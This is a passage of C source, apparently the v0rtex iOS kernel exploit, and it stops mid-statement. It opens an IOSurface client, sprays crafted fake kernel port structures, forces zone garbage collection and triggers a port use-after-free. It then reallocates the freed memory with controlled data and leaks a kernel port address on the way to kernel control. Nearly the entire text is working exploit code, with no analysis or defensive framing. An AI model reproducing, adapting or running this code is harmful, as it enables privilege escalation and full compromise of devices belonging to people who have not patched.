IKOT_TASK = 2; enum { kOSSerializeDictionary = 0x01000000U, kOSSerializeArray = 0x02000000U, kOSSerializeSet = 0x03000000U, kOSSerializeNumber = 0x04000000U, kOSSerializeSymbol = 0x08000000U, kOSSerializeString = 0x09000000U, kOSSerializeData = 0x0a000000U, kOSSerializeBoolean = 0x0b000000U, kOSSerializeObject = 0x0c000000U, kOSSerializeTypeMask = 0x7F000000U, kOSSerializeDataMask = 0x00FFFFFFU, kOSSerializeEndCollection = 0x80000000U, kOSSerializeMagic = 0x000000d3U, }; // ********** ********** ********** macros ********** ********** ********** #define UINT64_ALIGN_DOWN(addr) ((addr) & ~7) #define UINT64_ALIGN_UP(addr) UINT64_ALIGN_DOWN((addr) + 7) #if 0 #define UNALIGNED_COPY(src, dst, size) \ do \ { \ for(volatile uint32_t *_src = (volatile uint32_t*)(src), \ *_dst = (volatile uint32_t*)(dst), \ *_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \ _src < _end; \ *(_dst++) = *(_src++) \ ); \ } while(0) #endif #ifdef __LP64__ # define UNALIGNED_KPTR_DEREF(addr) (((kptr_t)*(volatile uint32_t*)(addr)) | (((kptr_t)*((volatile uint32_t*)(addr) + 1)) << 32)) #else # define UNALIGNED_KPTR_DEREF(addr) ((kptr_t)*(volatile uint32_t*)(addr)) #endif #define VOLATILE_BCOPY32(src, dst, size) \ do \ { \ for(volatile uint32_t *_src = (volatile uint32_t*)(src), \ *_dst = (volatile uint32_t*)(dst), \ *_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \ _src < _end; \ *(_dst++) = *(_src++) \ ); \ } while(0) #define VOLATILE_BZERO32(addr, size) \ do \ { \ for(volatile uint32_t *_ptr = (volatile uint32_t*)(addr), \ *_end = (volatile uint32_t*)((uintptr_t)(_ptr) + (size)); \ _ptr < _end; \ *(_ptr++) = 0 \ ); \ } while(0) #define RELEASE_PORT(port) \ do \ { \ if(MACH_PORT_VALID((port))) \ { \ _kernelrpc_mach_port_destroy_trap(self, (port)); \ port = MACH_PORT_NULL; \ } \ } while(0) // ********** ********** ********** IOKit ********** ********** ********** typedef mach_port_t io_service_t; typedef mach_port_t io_connect_t; extern const mach_port_t kIOMasterPortDefault; CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT); kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client); kern_return_t IOServiceClose(io_connect_t client); kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt); kern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt); kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); // ********** ********** ********** other unexported symbols ********** ********** ********** kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit); // ********** ********** ********** helpers ********** ********** ********** static const char *errstr(int r) { return r == 0 ? "success" : strerror(r); } static uint32_t transpose(uint32_t val) { uint32_t ret = 0; for(size_t i = 0; val > 0; i += 8) { ret += (val % 255) << i; val /= 255; } return ret + 0x01010101; } // ********** ********** ********** MIG ********** ********** ********** static kern_return_t my_mach_zone_force_gc(host_t host) { #pragma pack(4) typedef struct { mach_msg_header_t Head; } Request; typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; mach_msg_trailer_t trailer; } Reply; #pragma pack() union { Request In; Reply Out; } Mess; Request *InP = &Mess.In; Reply *OutP = &Mess.Out; InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); InP->Head.msgh_remote_port = host; InP->Head.msgh_local_port = mig_get_reply_port(); InP->Head.msgh_id = 221; InP->Head.msgh_reserved = 0; kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if(ret == KERN_SUCCESS) { ret = OutP->RetCode; } return ret; } static kern_return_t my_mach_port_get_context(task_t task, mach_port_name_t name, mach_vm_address_t *context) { #pragma pack(4) typedef struct { mach_msg_header_t Head; NDR_record_t NDR; mach_port_name_t name; } Request; typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; mach_vm_address_t context; mach_msg_trailer_t trailer; } Reply; #pragma pack() union { Request In; Reply Out; } Mess; Request *InP = &Mess.In; Reply *OutP = &Mess.Out; InP->NDR = NDR_record; InP->name = name; InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); InP->Head.msgh_remote_port = task; InP->Head.msgh_local_port = mig_get_reply_port(); InP->Head.msgh_id = 3228; InP->Head.msgh_reserved = 0; kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if(ret == KERN_SUCCESS) { ret = OutP->RetCode; } if(ret == KERN_SUCCESS) { *context = OutP->context; } return ret; } kern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context) { #pragma pack(4) typedef struct { mach_msg_header_t Head; NDR_record_t NDR; mach_port_name_t name; mach_vm_address_t context; } Request; typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; mach_msg_trailer_t trailer; } Reply; #pragma pack() union { Request In; Reply Out; } Mess; Request *InP = &Mess.In; Reply *OutP = &Mess.Out; InP->NDR = NDR_record; InP->name = name; InP->context = context; InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); InP->Head.msgh_remote_port = task; InP->Head.msgh_local_port = mig_get_reply_port(); InP->Head.msgh_id = 3229; InP->Head.msgh_reserved = 0; kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if(ret == KERN_SUCCESS) { ret = OutP->RetCode; } return ret; } // Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance. // Prepare everything - sched_yield() - fire. static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len) { #pragma pack(4) typedef struct { mach_msg_header_t Head; NDR_record_t NDR; uint32_t selector; mach_msg_type_number_t scalar_inputCnt; mach_msg_type_number_t inband_inputCnt; uint32_t inband_input[4]; mach_vm_address_t ool_input; mach_vm_size_t ool_input_size; mach_msg_type_number_t inband_outputCnt; mach_msg_type_number_t scalar_outputCnt; mach_vm_address_t ool_output; mach_vm_size_t ool_output_size; } DeleteRequest; typedef struct { mach_msg_header_t Head; NDR_record_t NDR; uint32_t selector; mach_msg_type_number_t scalar_inputCnt; mach_msg_type_number_t inband_inputCnt; mach_vm_address_t ool_input; mach_vm_size_t ool_input_size; mach_msg_type_number_t inband_outputCnt; mach_msg_type_number_t scalar_outputCnt; mach_vm_address_t ool_output; mach_vm_size_t ool_output_size; } SetRequest; typedef struct { mach_msg_header_t Head; NDR_record_t NDR; kern_return_t RetCode; mach_msg_type_number_t inband_outputCnt; char inband_output[4096]; mach_msg_type_number_t scalar_outputCnt; uint64_t scalar_output[16]; mach_vm_size_t ool_output_size; mach_msg_trailer_t trailer; } Reply; #pragma pack() // Delete union { DeleteRequest In; Reply Out; } DMess; DeleteRequest *DInP = &DMess.In; Reply *DOutP = &DMess.Out; DInP->NDR = NDR_record; DInP->selector = IOSURFACE_DELETE_VALUE; DInP->scalar_inputCnt = 0; DInP->inband_input[0] = surfaceId; DInP->inband_input[2] = transpose(propertyId); DInP->inband_input[3] = 0x0; // Null terminator DInP->inband_inputCnt = sizeof(DInP->inband_input); DInP->ool_input = 0; DInP->ool_input_size = 0; DInP->inband_outputCnt = sizeof(uint32_t); DInP->scalar_outputCnt = 0; DInP->ool_output = 0; DInP->ool_output_size = 0; DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); DInP->Head.msgh_remote_port = client; DInP->Head.msgh_local_port = mig_get_reply_port(); DInP->Head.msgh_id = 2865; DInP->Head.msgh_reserved = 0; // Set union { SetRequest In; Reply Out; } SMess; SetRequest *SInP = &SMess.In; Reply *SOutP = &SMess.Out; SInP->NDR = NDR_record; SInP->selector = IOSURFACE_SET_VALUE; SInP->scalar_inputCnt = 0; SInP->inband_inputCnt = 0; SInP->ool_input = (mach_vm_address_t)buf; SInP->ool_input_size = len; SInP->inband_outputCnt = sizeof(uint32_t); SInP->scalar_outputCnt = 0; SInP->ool_output = 0; SInP->ool_output_size = 0; SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); SInP->Head.msgh_remote_port = client; SInP->Head.msgh_local_port = mig_get_reply_port(); SInP->Head.msgh_id = 2865; SInP->Head.msgh_reserved = 0; // Deep breath sched_yield(); // Fire kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if(ret == KERN_SUCCESS) { ret = DOutP->RetCode; } if(ret != KERN_SUCCESS) { return ret; } ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if(ret == KERN_SUCCESS) { ret = SOutP->RetCode; } return ret; } // ********** ********** ********** data structures ********** ********** ********** #ifdef __LP64__ typedef volatile struct { kptr_t prev; kptr_t next; kptr_t start; kptr_t end; } kmap_hdr_t; #endif typedef volatile struct { uint32_t ip_bits; uint32_t ip_references; struct { kptr_t data; uint32_t type; #ifdef __LP64__ uint32_t pad; #endif } ip_lock; // spinlock struct { struct { struct { uint32_t flags; uint32_t waitq_interlock; uint64_t waitq_set_id; uint64_t waitq_prepost_id; struct { kptr_t next; kptr_t prev; } waitq_queue; } waitq; kptr_t messages; uint32_t seqno; uint32_t receiver_name; uint16_t msgcount; uint16_t qlimit; #ifdef __LP64__ uint32_t pad; #endif } port; kptr_t klist; } ip_messages; kptr_t ip_receiver; kptr_t ip_kobject; kptr_t ip_nsrequest; kptr_t ip_pdrequest; kptr_t ip_requests; kptr_t ip_premsg; uint64_t ip_context; uint32_t ip_flags; uint32_t ip_mscount; uint32_t ip_srights; uint32_t ip_sorights; } kport_t; typedef volatile struct { union { kptr_t port; uint32_t index; } notify; union { uint32_t name; kptr_t size; } name; } kport_request_t; typedef volatile union { struct { struct { kptr_t data; uint32_t reserved : 24, type : 8; #ifdef __LP64__ uint32_t pad; #endif } lock; // mutex lock uint32_t ref_count; uint32_t active; uint32_t halting; #ifdef __LP64__ uint32_t pad; #endif kptr_t map; } a; struct { char pad[OFFSET_TASK_ITK_SELF]; kptr_t itk_self; } b; } ktask_t; // ********** ********** ********** more helper functions because it turns out we need access to data structures... sigh ********** ********** ********** static kern_return_t reallocate_fakeport(io_connect_t client, uint32_t surfaceId, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, kport_t *kport, uint32_t *buf, mach_vm_size_t len) { bool twice = false; if(off + sizeof(kport_t) > pagesize) { twice = true; VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), pagesize - off); VOLATILE_BCOPY32((void*)((uintptr_t)kport + (pagesize - off)), &buf[9], sizeof(kport_t) - off); } else { VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), sizeof(kport_t)); } buf[6] = transpose(pageId); kern_return_t ret = reallocate_buf(client, surfaceId, pageId, buf, len); if(twice && ret == KERN_SUCCESS) { ++pageId; buf[6] = transpose(pageId); ret = reallocate_buf(client, surfaceId, pageId, buf, len); } return ret; } kern_return_t readback_fakeport(io_connect_t client, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, uint32_t *request, size_t reqsize, uint32_t *resp, size_t respsz, kport_t *kport) { request[2] = transpose(pageId); size_t size = respsz; kern_return_t ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size); LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret)); if(ret == KERN_SUCCESS && size == respsz) { size_t sz = pagesize - off; if(sz > sizeof(kport_t)) { sz = sizeof(kport_t); } VOLATILE_BCOPY32((void*)((uintptr_t)&resp[4] + off), kport, sz); if(sz < sizeof(kport_t)) { ++pageId; request[2] = transpose(pageId); size = respsz; ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size); LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret)); if(ret == KERN_SUCCESS && size == respsz) { VOLATILE_BCOPY32(&resp[4], (void*)((uintptr_t)kport + sz), sizeof(kport_t) - sz); } } } if(ret == KERN_SUCCESS && size < respsz) { LOG("Response too short."); ret = KERN_FAILURE; } return ret; } // ********** ********** ********** ye olde pwnage ********** ********** ********** kern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data) { kern_return_t retval = KERN_FAILURE, ret = 0; task_t self = mach_task_self(); host_t host = mach_host_self(); io_connect_t client = MACH_PORT_NULL; mach_port_t stuffport = MACH_PORT_NULL; mach_port_t realport = MACH_PORT_NULL; mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL }; mach_port_t port = MACH_PORT_NULL; mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL }; mach_port_t fakeport = MACH_PORT_NULL; mach_vm_size_t pagesize = 0, shmemsz = 0; uint32_t *dict_prep = NULL, *dict_big = NULL, *dict_small = NULL, *resp = NULL; mach_vm_address_t shmem_addr = 0; mach_port_array_t maps = NULL; /********** ********** data hunting ********** **********/ vm_size_t pgsz = 0; ret = _host_page_size(host, &pgsz); pagesize = pgsz; LOG("page size: 0x%llx, %s", pagesize, mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); LOG("service: %x", service); if(!MACH_PORT_VALID(service)) { goto out; } ret = IOServiceOpen(service, self, 0, &client); LOG("client: %x, %s", client, mach_error_string(ret)); if(ret != KERN_SUCCESS || !MACH_PORT_VALID(client)) { goto out; } uint32_t dict_create[] = { kOSSerializeMagic, kOSSerializeEndCollection | kOSSerializeDictionary | 1, kOSSerializeSymbol | 19, 0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize" kOSSerializeEndCollection | kOSSerializeNumber | 32, 0x1000, 0x0, }; union { char _padding[IOSURFACE_CREATE_OUTSIZE]; struct { mach_vm_address_t addr1; mach_vm_address_t addr2; uint32_t id; } data; } surface; VOLATILE_BZERO32(&surface, sizeof(surface)); size_t size = sizeof(surface); ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), &surface, &size); LOG("newSurface: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } LOG("surface ID: 0x%x", surface.data.id); /********** ********** data preparation ********** **********/ size_t num_data = FILL_MEMSIZE / pagesize, dictsz_prep = (5 + 4 * num_data) * sizeof(uint32_t), dictsz_big = dictsz_prep + (num_data * pagesize), dictsz_small = 9 * sizeof(uint32_t) + pagesize, respsz = 4 * sizeof(uint32_t) + pagesize; dict_prep = malloc(dictsz_prep); if(!dict_prep) { LOG("malloc(prep): %s", strerror(errno)); goto out; } dict_big = malloc(dictsz_big); if(!dict_big) { LOG("malloc(big): %s", strerror(errno)); goto out; } dict_small = malloc(dictsz_small); if(!dict_small) { LOG("malloc(small): %s", strerror(errno)); goto out; } resp = malloc(respsz); if(!resp) { LOG("malloc(resp): %s", strerror(errno)); goto out; } VOLATILE_BZERO32(dict_prep, dictsz_prep); VOLATILE_BZERO32(dict_big, dictsz_big); VOLATILE_BZERO32(dict_small, dictsz_small); VOLATILE_BZERO32(resp, respsz); // ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9 // is actually 0x1000, so references to our reallocated memory may be shifted // by (0x1000 % sizeof(kport_t)) kport_t triple_kport; VOLATILE_BZERO32(&triple_kport, sizeof(triple_kport)); triple_kport.ip_lock.data = 0x0; triple_kport.ip_lock.type = 0x11; #ifdef __LP64__ triple_kport.ip_messages.port.waitq.waitq_queue.next = 0x0; triple_kport.ip_messages.port.waitq.waitq_queue.prev = 0x11; triple_kport.ip_nsrequest = 0x0; triple_kport.ip_pdrequest = 0x11; #endif uint32_t *prep = dict_prep; uint32_t *big = dict_big; *(big++) = *(prep++) = surface.data.id; *(big++) = *(prep++) = 0x0; *(big++) = *(prep++) = kOSSerializeMagic; *(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeArray | 1; *(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeDictionary | num_data; for(size_t i = 0; i < num_data; ++i) { *(big++) = *(prep++) = kOSSerializeSymbol | 5; *(big++) = *(prep++) = transpose(i); *(big++) = *(prep++) = 0x0; // null terminator *(big++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeString | (pagesize - 1); size_t j = 0; for(uintptr_t ptr = (uintptr_t)big, end = ptr + pagesize; ptr < end; ptr += sizeof(triple_kport)) { size_t sz = end - ptr; if(sz > sizeof(triple_kport)) { sz = sizeof(triple_kport); } triple_kport.ip_context = (0x10000000ULL | (j << 20) | i) << 32; #ifdef __LP64__ triple_kport.ip_messages.port.pad = 0x20000000 | (j << 20) | i; triple_kport.ip_lock.pad = 0x30000000 | (j << 20) | i; #endif VOLATILE_BCOPY32(&triple_kport, ptr, sz); ++j; } big += (pagesize / sizeof(uint32_t)); *(prep++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeBoolean | 1; } dict_small[0] = surface.data.id; dict_small[1] = 0x0; dict_small[2] = kOSSerializeMagic; dict_small[3] = kOSSerializeEndCollection | kOSSerializeArray | 1; dict_small[4] = kOSSerializeEndCollection | kOSSerializeDictionary | 1; dict_small[5] = kOSSerializeSymbol | 5; // [6] later dict_small[7] = 0x0; // null terminator dict_small[8] = kOSSerializeEndCollection | kOSSerializeString | (pagesize - 1); uint32_t dummy = 0; size = sizeof(dummy); ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_prep, dictsz_prep, &dummy, &size); if(ret != KERN_SUCCESS) { LOG("setValue(prep): %s", mach_error_string(ret)); goto out; } /********** ********** black magic ********** **********/ ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &stuffport); LOG("stuffport: %x, %s", stuffport, mach_error_string(ret)); if(ret != KERN_SUCCESS || !MACH_PORT_VALID(stuffport)) { goto out; } ret = _kernelrpc_mach_port_insert_right_trap(self, stuffport, stuffport, MACH_MSG_TYPE_MAKE_SEND); LOG("mach_port_insert_right: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &realport); LOG("realport: %x, %s", realport, mach_error_string(ret)); if(ret != KERN_SUCCESS || !MACH_PORT_VALID(realport)) { goto out; } sched_yield(); // Clean out full pages already in freelists ret = my_mach_zone_force_gc(host); if(ret != KERN_SUCCESS) { LOG("mach_zone_force_gc: %s", mach_error_string(ret)); goto out; } for(size_t i = 0; i < NUM_BEFORE; ++i) { ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &before[i]); if(ret != KERN_SUCCESS) { LOG("mach_port_allocate: %s", mach_error_string(ret)); goto out; } } ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &port); if(ret != KERN_SUCCESS) { LOG("mach_port_allocate: %s", mach_error_string(ret)); goto out; } if(!MACH_PORT_VALID(port)) { LOG("port: %x", port); goto out; } for(size_t i = 0; i < NUM_AFTER; ++i) { ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after[i]); if(ret != KERN_SUCCESS) { LOG("mach_port_allocate: %s", mach_error_string(ret)); goto out; } } LOG("port: %x", port); ret = _kernelrpc_mach_port_insert_right_trap(self, port, port, MACH_MSG_TYPE_MAKE_SEND); LOG("mach_port_insert_right: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } #pragma pack(4) typedef struct { mach_msg_base_t base; mach_msg_ool_ports_descriptor_t desc[2]; } StuffMsg; #pragma pack() StuffMsg msg; msg.base.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); msg.base.header.msgh_remote_port = stuffport; msg.base.header.msgh_local_port = MACH_PORT_NULL; msg.base.header.msgh_id = 1234; msg.base.header.msgh_reserved = 0; msg.base.body.msgh_descriptor_count = 2; msg.desc[0].address = before; msg.desc[0].count = NUM_BEFORE; msg.desc[0].disposition = MACH_MSG_TYPE_MOVE_RECEIVE; msg.desc[0].deallocate = FALSE; msg.desc[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg.desc[1].address = after; msg.desc[1].count = NUM_AFTER; msg.desc[1].disposition = MACH_MSG_TYPE_MOVE_RECEIVE; msg.desc[1].deallocate = FALSE; msg.desc[1].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; ret = mach_msg(&msg.base.header, MACH_SEND_MSG, (mach_msg_size_t)sizeof(msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); LOG("mach_msg: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } for(size_t i = 0; i < NUM_BEFORE; ++i) { RELEASE_PORT(before[i]); } for(size_t i = 0; i < NUM_AFTER; ++i) { RELEASE_PORT(after[i]); } #if 0 uint32_t dict[DATA_SIZE / sizeof(uint32_t) + 7] = { // Some header or something surface.data.id, 0x0, kOSSerializeMagic, kOSSerializeEndCollection | kOSSerializeArray | 2, kOSSerializeString | (DATA_SIZE - 1), }; dict[DATA_SIZE / sizeof(uint32_t) + 5] = kOSSerializeEndCollection | kOSSerializeString | 4; // ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9 // is actually 0x1000, so references to our reallocated memory may be shifted // by (0x1000 % sizeof(kport_t)) kport_t triple_kport = { .ip_lock = { .data = 0x0, .type = 0x11, }, #ifdef __LP64__ .ip_messages = { .port = { .waitq = { .waitq_queue = { .next = 0x0, .prev = 0x11, } }, }, }, .ip_nsrequest = 0x0, .ip_pdrequest = 0x11, #endif }; for(uintptr_t ptr = (uintptr_t)&dict[5], end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t)) { UNALIGNED_COPY(&triple_kport, ptr, sizeof(kport_t)); } #endif // There seems to be some weird asynchronity with freeing on IOConnectCallAsyncStructMethod, // which sucks. To work around it, I register the port to be freed on my own task (thus increasing refs), // sleep after the connect call and register again, thus releasing the reference synchronously. ret = mach_ports_register(self, &port, 1); LOG("mach_ports_register: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } uint64_t ref = 0; uint64_t in[3] = { 0, 0x666, 0 }; IOConnectCallAsyncStructMethod(client, 17, realport, &ref, 1, in, sizeof(in), NULL, NULL); IOConnectCallAsyncStructMethod(client, 17, port, &ref, 1, in, sizeof(in), NULL, NULL); LOG("herp derp"); usleep(100000); sched_yield(); ret = mach_ports_register(self, &client, 1); // gonna use that later if(ret != KERN_SUCCESS) { LOG("mach_ports_register: %s", mach_error_string(ret)); goto out; } // Prevent cleanup fakeport = port; port = MACH_PORT_NULL; // Release port with ool port refs RELEASE_PORT(stuffport); ret = my_mach_zone_force_gc(host); if(ret != KERN_SUCCESS) { LOG("mach_zone_force_gc: %s", mach_error_string(ret)); goto out; } #if 0 for(uint32_t i = 0; i < NUM_DATA; ++i) { dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(i); kport_t *dptr = (kport_t*)&dict[5]; for(size_t j = 0; j < DATA_SIZE / sizeof(kport_t); ++j) { *(((volatile uint32_t*)&dptr[j].ip_context) + 1) = 0x10000000 | (j << 20) | i; #ifdef __LP64__ *(volatile uint32_t*)&dptr[j].ip_messages.port.pad = 0x20000000 | (j << 20) | i; *(volatile uint32_t*)&dptr[j].ip_lock.pad = 0x30000000 | (j << 20) | i; #endif } uint32_t dummy = 0; size = sizeof(dummy); ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size); if(ret != KERN_SUCCESS) { LOG("setValue(%u): %s", i, mach_error_string(ret)); goto out; } } #endif dummy = 0; size = sizeof(dummy); ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_big, dictsz_big, &dummy, &size); if(ret != KERN_SUCCESS) { LOG("setValue(big): %s", mach_error_string(ret)); goto out; } uint64_t ctx = 0xffffffff; ret = my_mach_port_get_context(self, fakeport, &ctx); LOG("mach_port_get_context: 0x%016llx, %s", ctx, mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } uint32_t shift_mask = ctx >> 60; if(shift_mask < 1 || shift_mask > 3) { LOG("Invalid shift mask."); goto out; } #if 0 uint32_t shift_off = sizeof(kport_t) - (((shift_mask - 1) * 0x1000) % sizeof(kport_t)); #endif uint32_t ins = ((shift_mask - 1) * pagesize) % sizeof(kport_t), idx = (ctx >> 32) & 0xfffff, iff = (ctx >> 52) & 0xff; int64_t fp_off = sizeof(kport_t) * iff - ins; if(fp_off < 0) { --idx; fp_off += pagesize; } uint64_t fakeport_off = (uint64_t)fp_off; LOG("fakeport offset: 0x%llx", fakeport_off); #if 0 dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(idx); #endif uint32_t request[] = { // Same header surface.data.id, 0x0, #if 0 transpose(idx), // Key #endif 0x0, // Placeholder 0x0, // Null terminator }; kport_t kport; VOLATILE_BZERO32(&kport, sizeof(kport)); kport.ip_bits = 0x80000000; // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE kport.ip_references = 100; kport.ip_lock.type = 0x11; kport.ip_messages.port.receiver_name = 1; kport.ip_messages.port.msgcount = MACH_PORT_QLIMIT_KERNEL; kport.ip_messages.port.qlimit = MACH_PORT_QLIMIT_KERNEL; kport.ip_srights = 99; #if 0 // Note to self: must be `(uintptr_t)&dict[5] + DATA_SIZE` and not `ptr + DATA_SIZE`. for(uintptr_t ptr = (uintptr_t)&dict[5] + shift_off, end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t)) { UNALIGNED_COPY(&kport, ptr, sizeof(kport_t)); } #endif ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small); LOG("reallocate_fakeport: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } usleep(100000); // XXX // Register realport on fakeport mach_port_t notify = MACH_PORT_NULL; ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify); LOG("mach_port_request_notification(realport): %x, %s", notify, mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } usleep(100000); // XXX #if 0 uint32_t response[4 + (DATA_SIZE / sizeof(uint32_t))] = { 0 }; size = sizeof(response); ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size); LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } if(size < DATA_SIZE + 0x10) { LOG("Response too short."); goto out; } #endif kport_t myport; VOLATILE_BZERO32(&myport, sizeof(myport)); ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport); if(ret != KERN_SUCCESS) { goto out; } #if 0 uint32_t fakeport_off = -1; kptr_t realport_addr = 0; for(uintptr_t ptr = (uintptr_t)&response[4] + shift_off, end = (uintptr_t)&response[4] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t)) { kptr_t val = UNALIGNED_KPTR_DEREF(&((kport_t*)ptr)->ip_pdrequest); if(val) { fakeport_off = ptr - (uintptr_t)&response[4]; realport_addr = val; break; } } #endif kptr_t realport_addr = myport.ip_pdrequest; if(!realport_addr) { LOG("Failed to leak realport address"); goto out; } LOG("realport addr: " ADDR, realport_addr); #if 0 uintptr_t fakeport_dictbuf = (uintptr_t)&dict[5] + fakeport_off; #endif // Register fakeport on itself (and clean ref on realport) notify = MACH_PORT_NULL; ret = mach_port_request_notification(self, 